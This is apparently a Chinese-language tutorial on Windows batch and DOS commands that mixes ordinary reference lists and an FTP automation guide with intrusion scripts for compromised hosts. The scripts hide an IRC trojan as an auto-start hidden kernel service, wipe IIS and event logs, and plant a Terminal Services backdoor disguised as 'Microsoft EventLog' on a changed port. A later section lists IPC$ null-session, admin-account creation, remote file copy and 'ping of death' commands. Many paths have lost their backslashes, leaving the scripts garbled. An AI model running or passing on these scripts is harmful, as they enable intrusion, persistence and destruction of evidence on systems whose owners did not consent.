[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128

只需要这样:

@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:/WINNT/system32/door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg

samlpe2:
  我们现在在使用一些比较老的木马时,可能会在注册表的 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、 Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将 木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.

6.精彩实例放送

6.1. 删除win2k/xp系统默认共享的批处理

------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
echo "AutoShareWks"=dword:00000000>> c:delshare.reg
echo "AutoShareServer"=dword:00000000>> c:delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:delshare.reg
echo Deleting the temprotarily files.
del c:delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail toEx4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

6.2. 全面加固系统(给肉鸡打补丁)的批处理文件

------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------

  下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。

@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:winntsystem32logfilesw3svc1*.* /f /q
@del c:winntsystem32logfilesw3svc2*.* /f /q
@del c:winntsystem32config*.event /f /q
@del c:winntsystem32dtclog*.* /f /q
@del c:winnt*.txt /f /q
@del c:winnt*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Descr1ption"="Keep record of the program and windows'' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
rem Author: Munga Bunga - from Australia, the land full of retarded Australian''s (help me get out of here)

6.3. 用批处理命令实现FTP文件的自动传输

  由于工作的原因,每天需要在Windows操作系统之间或与其它操作系统如UNIX等利用FTP进行文件传输。经常重复这样的工作程序,即繁琐又容易出 错。本人经过思考摸索,在Windows操作系统的“任务计划”帮助下,成功地用批处理命令实现FTP文件的自动传输。现将此操作过程详解,希望对同好有 所帮助,更望能抛砖引玉,提出更好的方法。

  假设本机操作系统为Windows操作系统,需进行文件传输的目录为C:\datatran;对方计算机操作系统为UNIX操作系统,IP地址为 10.30.15.3,需进行文件传输的目录为C:\data,登录用户名为Anonymous,口令为123456。从本机到对方机接收文件操作方法如 下。
第一步,先新建一个文本:

Open 10.31.15.3
User anonymous
123456
Cd data
Bin
Prompt
Mget *.*
Bye
Quit
Exit

  将该文本保存为1.ftp存放到C盘根目录。该文件只要扩展名为ftp,前缀可任意取名。目录也不一定要在根目录,主要以方便为主。文本中Bin为用黑吧 码格式传输文件,如用ASCII码格式传输文件可去掉该行。如为本机向对方机发送文件,则只要将文本中的Mget替换成Mput即可。这之后,再新建另一 个文本:

C:
Cd datatran
ftp–n–s:”c:\1.ftp”

  新建完毕后将该文本保存为1.bat后存放在硬盘任何分区或软盘中均可。这样,第一步工作已经完成,您随时可以执行该批处理文件进行FTP文件的传输。
  第二步,将该该批处理文件放在“任务计划”中设定自动运行。方法是:打开“开始”菜单“程序”下“附件”中的“系统工具”,点击“任务计划”,执行“添加 任务计划”,按“任务计划向导”提示将该批处理文件添加到任务计划中,并指定执行周期,之后再设下密码后即完成。从此,计算机会根据您的设定,自动周期性 地进行文件接收或发送,不再需要您动一下手指,真正做到它工作,您休息。
  另外,如果是Windows操作系统之间进行FTP进行文件传输,只要去掉1.ftp中“Bin”一行就可以了.

7.DOS快捷键

ESC:清除当前命令行;
F7:显示命令历史记录,以图形列表窗的形式给出所有曾经输入的命令,并可用上下箭头键选择再次执行该命令。
F8:搜索命令的历史记录,循环显示所有曾经输入的命令,直到按下回车键为止;
F9:按编号选择命令,以图形对话框方式要求您输入命令所对应的编号(从0开始),并将该命令显示在屏幕上;
Ctrl+H:删除光标左边的一个字符;
Ctrl+C Ctrl+Break,强行中止命令执行;
Ctrl+M:表示回车确认键;
Alt+F7:清除所有曾经输入的命令历史记录;
Alt+PrintScreen:截取屏幕上当前命令窗里的内容。

  病毒破坏了系统文件,请使用杀毒软件查杀病毒,然后利用Windows 2000提供的“命令控制台”中的Chkdsk /r命令检查修复系统文件即可

8.DOS操作命令

有关某个命令的详细信息,请键入 HELP 命令名

ASSOC 显示或修改文件扩展名关联。
AT 计划在计算机上运行的命令和程序。
ATTRIB 显示或更改文件属性。 -h隐藏 -r只读
BREAK 设置或清除扩展式 CTRL+C 检查。
CACLS 显示或修改文件的访问控制列表(ACLs)=》icals更新版控制列表修改工具
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。您不能转换
当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。
ECHO 显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除至少一个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个或两套文件,并显示
不同处。
FIND 在文件中搜索文字字符串。
FINDSTR 在文件中搜索字符串。
FOR 为一套文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便跟 Windows 使用。
FTYPE 显示或修改用于文件扩展名关联的文件类型。
GOTO 将 Windows 命令解释程序指向批处理程序中某个标明的行。
GRAFTABL 启用 Windows 来以图像模式显示扩展字符集。
HELP 提供 Windows 命令的帮助信息。
IF 执行批处理程序中的条件性处理。
LABEL 创建、更改或删除磁盘的卷标。
MD 创建目录。
MKDIR 创建目录。
MODE 配置系统设备。
MORE 一次显示一个结果屏幕。
MOVE 将文件从一个目录移到另一个目录。
PATH 显示或设置可执行文件的搜索路径。
PAUSE 暂停批文件的处理并显示消息。
POPD 还原 PUSHD 保存的当前目录的上一个值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从有问题的磁盘恢复可读信息。
REM 记录批文件或 CONFIG.SYS 中的注释。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始批文件中环境更改的本地化。
SHIFT 更换批文件中可替换参数的位置。
SORT 对输入进行分类。
START 启动另一个窗口来运行指定的程序或命令。
SUBST 将路径跟一个驱动器号关联。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形模式显示驱动器或路径的目录结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 版本。
VERIFY 告诉 Windows 是否验证文件是否已正确
写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。

9.Windows系统管理工具命令

  以下为Windows操作系统的常用运行命令,执行这些命令,就能打开系统对应的相关实用程序,如果大家能基本利用,就能检查并修复系统的最基本的故障,除注销,关闭系统命令外,其它所有命令,大家不妨一试!!
  运行\输入CMD\输入 对应的相关实用程序:
. 打开C:\Documents and Settings\XXX(当前登录Windows XP的用户名)
.. 打开Windows XP所在的盘符下的Documents and Settings文件夹

accwiz.exe 辅助工具向导
actmovie.exe 直接显示安装工具
append.exe 允许程序打开制定目录中的数据
appwiz.cpl 添加删除程序
arp.exe 显示和更改计算机的IP与硬件物理地址的对应列表
atmadm.exe ATM调用管理器统计
attrib.exe 显示和更改文件和文件夹属性
autochk.exe 检测修复文件系统 (XP不可用)
autoconv.exe 在启动过程中自动转化系统 (XP不可用)
autofmt.exe 在启动过程中格式化进程 (XP不可用)
autolfn.exe 使用长文件名格式 (XP不可用)
Bootvrfy.exe 通报启动成功
calc 启动计算器
certmgr.msc 证书管理实用程序
control userpasswords2 用户帐户设置
cleanmgr 垃圾整理
command.com 调用的则是系统内置的 NTVDM,一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时,实际上也 是自动转移到 NTVDM虚拟机下,和 CMD 本身没什么关系。
charmap 启动字符映射表
change.exe 与终端服务器相关的查询 (XP不可用)
chglogon.exe 启动或停用会话记录 (XP不可用)
chgport.exe 改变端口(终端服务) (XP不可用)
chgusr.exe 改变用户(终端服务) (XP不可用)
chkdsk.exe 磁盘检测程序
chkntfs.exe NTFS磁盘检测程序
ciadv.msc 索引服务程序
cidaemon.exe 组成Ci文档服务
cipher.exe 在NTFS上显示或改变加密的文件或目录
cisvc.exe 打开索引内容
ckcnv.exe 变换Cookie
cliconfg.exe SQL客户网络工具
clipbrd.exe剪贴板查看器
cliconfg sql server 客户端网络实用程序
clipsrv.exe 运行Clipboard服务
clspack.exe 建立系统文件列表清单
cluster.exe 显示域的集群 (XP不可用)
cmdl32.exe 自动下载连接管理
cmmgr32.exe 连接管理器
cmmon32.exe 连接管理器监视
cmstp.exe 连接管理器配置文件安装程序
comclust.exe 集群
comp.exe 比较两个文件和文件集的内容
conf 启动netmeeting聊天工具
compmgmt.msc 计算机管理
cprofile.exe 转换显示模式 (XP不可用)

  开始,运行,输入CMD\输入net config workstation计算机名 \完整的计算机名\用户名。工作站处于活动状态(即网络描述) \软件版本(即软件版本号) \工作站域 工作站域的 DNS 名称。登录域 \COM 打开时间超时(秒) \COM 发送量(字节) \COM 发送超时 (msec)
CMD\输入net config workstation 更改可配置工作站服务设置。
CMD\输入net config server 可以显示不能配置的下服务器计算机名 \服务器注释 \服务器版本(即软件版本号)
服务器处于活动状态(即网络描述) \服务器处于隐藏状态(即 /hidden 设置)
最大登录用户数(即可使用服务器共享资源的最大用户数)
每个会话打开文件的最大数(即用户可在一个会话中打开服务器文件的最大数)
空闲会话时间(最小值)
compact.exe 显示或改变NTFS分区上文件的压缩状态
conime.exe IME控制台
control.exe 控制面板
convert.exe NTFS 转换文件系统到NTFS
convlog.exe 转换IIS日志文件格式到NCSA格式
cprofile.exe 转换显示模式
cscript.exe 脚本宿主版本
csrss.exe 客户服务器Runtime进程 (XP不可用)
csvde.exe 格式转换程序 (XP不可用)
dcpromo 活动目录安装(XP不可用)
drwtsn32 系统医生
diskmgmt.msc磁盘管理实用程序(和PowerQuest PartitionMagic 8.0)
devmgmt.msc 设备管理器(检查电脑硬件,驱动)
dcomcnfg.exe ,打开系统组件服务,DCOM配置属性 (控制台根目录)
dcpromo.exe 安装向导 (XP不可用)
ddeshare.exe打开dde共享设置
debug.exe 检查DEBUG
dfrg.msc-------磁盘碎片整理程序
dfrgfat.exe FAT分区磁盘碎片整理程序
dfrgntfs.exe NTFS分区磁盘碎片整理程序 (XP不可用)
dfscmd.exe 配置DFS树 (XP不可用)
dfsinit.exe 分布式文件系统初始化(XP不可用)
dfssvc.exe 分布式文件系统服务器 (XP不可用)
diantz.exe 制作CAB文件
diskperf.exe 磁盘性能计数器
dmremote.exe 磁盘管理服务的一部分 (XP不可用)
doskey.exe 命令行创建宏
dosx.exe DOS扩展
dplaysvr.exe 直接运行帮助 (XP不可用)
drwatson.exe 华生医生错误检测
drwtsn32.exe 华生医生显示和配置管理
dvdplay.exe DVD播放
dxdiag.exe Direct-X诊断工具
explorer 打开资源管理器
edlin.exe 命令行的文本编辑
esentutl.exe MS数据库工具
eudcedit.exe 造字程序
eventvwr.exe 事件查看器
exe2bin.exe 转换EXE文件到二进制
expand.exe 解压缩
extrac32.exe 解CAB工具
fastopen.exe 快速访问在内存中的硬盘文件
faxcover.exe 传真封面编辑
faxqueue.exe 显示传真队列
faxsend.exe 发送传真向导
faxsvc.exe 启动传真服务
fc.exe 比较两个文件的不同
fsmgmt.msc 共享文件夹管理器
find.exe 查找文件中的文本行
findstr.exe 查找文件中的行
finger.exe 一个用户并显示出统计结果
fixmapi.exe 修复MAPI文件
flattemp.exe 允许或者禁用临时文件目录 (XP不可用)
fontview.exe 显示字体文件中的字体
forcedos.exe 强制文件在DOS模式下运行
ftp.exe FTP下载
gpedit.msc 组策略
gdi.exe 图形界面驱动
grpconv.exe 转换程序管理员组
gpupdate /target:computer /force 强制刷新组策略
hostname.exe 显示机器的Hostname
Internat 输入法图标
iexpress iexpress安装包,木马捆绑工具,系统自带
ieshwiz.exe 自定义文件夹向导
iisreset.exe 重启IIS服务(未安装IIS,不可用)
internat.exe 键盘语言指示器 (XP不可用)
ipconfig.exe 查看IP配置
ipsecmon.exe IP安全监视器
ipxroute.exe IPX路由和源路由控制程序
~~irftp.exe 无线连接
ismserv.exe 安装或者删除Service Control Manager中的服务
jdbgmgr.exe Java4的调试器
jetconv.exe 转换Jet Engine数据库 (XP不可用)
jetpack.exe 压缩Jet数据库 (XP不可用)
jview.exe Java的命令行装载者
label.exe 改变驱动器的卷标
lcwiz.exe 许可证向导 (XP不可用)
ldifde.exe LDIF目录交换命令行管理 (XP不可用)
licmgr.exe 终端服务许可协议管理 (XP不可用)
lights.exe 显示连接状况 (XP不可用)
llsmgr.exe Windows 2000 许可协议管理 (XP不可用)
llssrv.exe 启动许可协议服务器 (XP不可用)
locator.exe RPC Locator 远程定位
lodctr.exe 调用性能计数
logoff.exe 注销当前用户
lpq.exe 显示远端的LPD打印队列的状态,显示被送到基于Unix的服务器的打印任务
lpr.exe 用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。
lsass.exe 运行LSA和Server的DLL
lserver.exe 指定默认Server新的DNS域 (XP不可用)
lusrmgr.msc 本地账户管理,本机用户和组
mmc 控制台
macfile.exe 管理MACFILES (XP不可用)
magnify.exe 放大镜
makecab.exe 制作CAB文件
mem.exe 显示内存状态
migpwd.exe 迁移密码
mnmsrvc.exe 远程桌面共享
mobsync.exe 同步目录管理器
mountvol.exe 创建、删除或列出卷的装入点。
mplay32.exe Media Player 媒体播放器
mplayer2 简易widnows media player
mpnotify.exe 通知应用程序
mqbkup.exe 信息队列备份和恢复工具
mqmig.exe MSMQ Migration Utility 信息队列迁移工具
mrinfo.exe 使用SNMP多点传送路由
mscdexnt.exe 安装MSCD
msinfo32.exe 系统信息
msdtc.exe 动态事务处理控制台
msg.exe 发送消息到本地或远程客户
mshta.exe HTML应用程序主机
msiexec.exe 开始Windows安装程序
mspaint.exe 打开画图板
mstsc 远程桌面连接
mstask.exe 任务计划表程序
mstinit.exe 任务计划表安装
msconfig.exe 系统配置实用程序 (配置启动选项,服务项)
narrator 屏幕“讲述人”
net stop messenger 停止信使服务
net start messenger 开始信使服务
net start (servicename)----启动该服务
net stop (servicename)-----停止该服务
nslookup 网络管理的工具,IP 地址侦测器
ntbackup 系统备份和还原
nbtstat.exe 使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接
netstat -an (tc)命令检查接口
netsh.exe 用于配置和监控 Windows 2000 命令行脚本接口(XP不可用)
nddeapir.exe NDDE API服务器端
nlsfunc.exe 加载特定国家的信息。Windows 2000 和 MS-DOS 子系统不使用该命令接受该命令只是为了与 MS-DOS 文件兼容。
notepad.exe 打开记事本
ntbackup.exe 备份和故障修复工具
ntmsmgr.msc 移动存储管理器
ntmsoprq.msc 移动存储管理员操作请求
nw16.exe NetWare转向器
nwscript.exe 运行Netware脚本
oobe/msoobe /a 检查XP是否激活
osk 打开屏幕键盘
odbcad32.exe 32位ODBC数据源管理 (驱动程序管理)
odbcconf.exe 命令行配置ODBC驱动和数据源
packager.exe 对象包装程序
pathping.exe 包含Ping和Tracert的程序
pentnt.exe 检查Pentium的浮点错误
perfmon.exe/ perfmon.msc 系统性能监视器
progman 程序管理器
ping.exe 验证与远程计算机的连接
posix.exe 用于兼容Unix
print.exe 打印文本文件或显示打印队列的内容。
psxss.exe Posix子系统应用程序
qappsrv.exe 在网络上显示终端服务器可用的程序
qprocess.exe 在本地或远程显示进程的信息(需终端服务)
query.exe 查询进程和对话 (XP不可用)
quser.exe 显示用户登陆的信息(需终端服务)
qwinsta.exe 显示终端服务的信息
rononce -p 15秒关机
rasAdmin 远程访问服务.
regedit.exe 注册表编辑器
rasautou.exe 建立一个RAS连接
rasdial.exe 宽带,拨号连接
ras.exe 运行RAS连接 (XP不可用)
rcp.exe 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件
rdpclip.exe 终端和本地复制和粘贴文件
recover.exe 从坏的或有缺陷的磁盘中恢复可读取的信息。
redir.exe 运行重定向服务
regedt32.exe注册表编辑器,32位注册服务
*regsvr32 /u .dll----停止dll文件运行
regsvr32 /u zipfldr.dll 取消zip支持
rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----启动一个空白的Windows 图片和传真查看器
rundll32.exe 启动32位DLL程序
regini.exe 用脚本修改注册许可
regwiz.exe 注册向导
replace.exe 用源目录中的同名文件替换目标目录中的文件。
rexec.exe rexec 命令在执行指定命令前,验证远程计算机上的用户名,只有安装了 TCP/IP 协议后才可以使用该命令。
risetup.exe 运行远程安装向导服务 (XP不可用)
route.exe 控制网络路由表rsh.exe 在运行 RSH 服务的远程计算机上运行命令
route print 查看路由表
rsop.msc 组策略结果集
rsnotify.exe 远程存储通知回显
runas.exe 允许用户用其他权限运行指定的工具和程序
rwinsta.exe 重置会话子系统硬件和软件到最初的值
schtasks 计划运行任务
sndrec32 录音机
syncapp 创建一个公文包
sysedit 系统配置编辑器
sigverif 文件签名验证程序
shrpubw 创建共享文件夹
secpol.msc 本地安全策略
syskey 系统加密,一旦加密就不能解开,保护Windows xp系统的双重密码
services.msc/services.exe 本地服务设置,控制所有服务**

本地服务设置

sndvol32 音量控制程序
sfc.exe 系统文件检查器
sfc /scannow 启动系统文件检查器
sfc /scannow windows文件保护 tsshutdn 60秒倒计时关机命令
Sndvol32 音量控制程序
SCANREG/RESTORE 命令恢复最近的注册表
secedit.exe 自动化安全性配置管理
sethc.exe 设置高对比
setver.exe 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号
shadow.exe 监控另外一台中端服务器会话
smlogsvc.exe 性能日志和警报 (XP不可用)
sndrec32.exe 录音机
sndvol32.exe 显示声音控制信息
snmp.exe 简单网络管理协议 (XP不可用)
snmptrap.exe SNMP工具 (XP不可用)
srvmgr.exe 服务器管理器 (XP不可用)
subst.exe 将路径与驱动器盘符关联
sysocmgr.exe > Windows 安装程序
systeminfo.exe 查看系统信息
systray.exe 在低权限运行
taskmgr 任务管理器
tasklist /svc(CMD)了解每个SVCHOST进程到底提供了多少系统服务(2000\98不可用)
tlist -S(CMD) 了解每个SVCHOST进程到底提供了多少系统服务
taskman.exe 任务管理器 (XP不可用)
tcmsetup.exe 电话服务客户安装
tcpsvcs.exe TCP服务
termsrv.exe 终端服务
tftp.exe 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行TFTP 服务的远程计算机传输文件
themes.exe 桌面主题 (XP不可用)
tourstart xp 简介(安装完成后出现的漫游xp程序)
tlntadmn.exe Administrator Telnet服务管理
tlntsess.exe 显示目前的Telnet会话
tlntsvr.exe 开始Telnet服务
tracert.exe 诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由
tsadmin.exe Administrator 终端服务管理器 (XP不可用)
tscon.exe 粘贴用户会话到终端对话
tsdiscon.exe 断开终端服务的用户
tskill.exe 杀掉终端服务
tsprof.exe 用终端服务得出查询结果
tsshutdn 60秒倒计时关机命令,关闭系统
unlodctr.exe 删除制定可扩展计数器名称和文字
upg351db.exe 升级Jet数据库 (XP不可用)
ups.exe UPS service UPS服务
user.exe Windows核心服务
userinit.exe 打开我的文档
usrmgr.exe 域用户管理器
utilman.exe 辅助工具管理器
vwipxspx.exe 调用IPX/SPX VDM
w32tm.exe 时间服务器及监控
wextract.exe 解压缩Windows文件
wiaacmgr 扫描仪和照相机向导
winchat.exe 打开Windows聊天工具
winhlp32.exe 运行帮助系统
winver.exe 显示Windows版本
wizmgr.exe Windows管理向导 (XP不可用)
wjview.exe Java 命令行调用Java
write.exe 打开写字板
wscript.exe 脚本工具,Windows脚本宿主设置
wupdmgr.exe Windows update 运行Windows update升级向导
wmimgmt.msc 打开Windows管理体系结构(wmi)

10.DOS网络操作命令详解

net use \ip\ipcnbsp;" " /user:" " 建立IPC空链接
net use \ip\ipcnbsp;"密码" /user:"用户名" 建立IPC非空链接
net use h: \ip\cnbsp;"密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \ip\cnbsp;登陆后映射对方C:到本地为H:
net use \ip\ipcnbsp;/del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \目标ip 查看对方时间
net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipcnbsp;开启ipc
net share ipcnbsp;/del 删除ipc
net share cnbsp;/del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \ip\***nbsp;复制本地c:\srv.exe到对方的***下
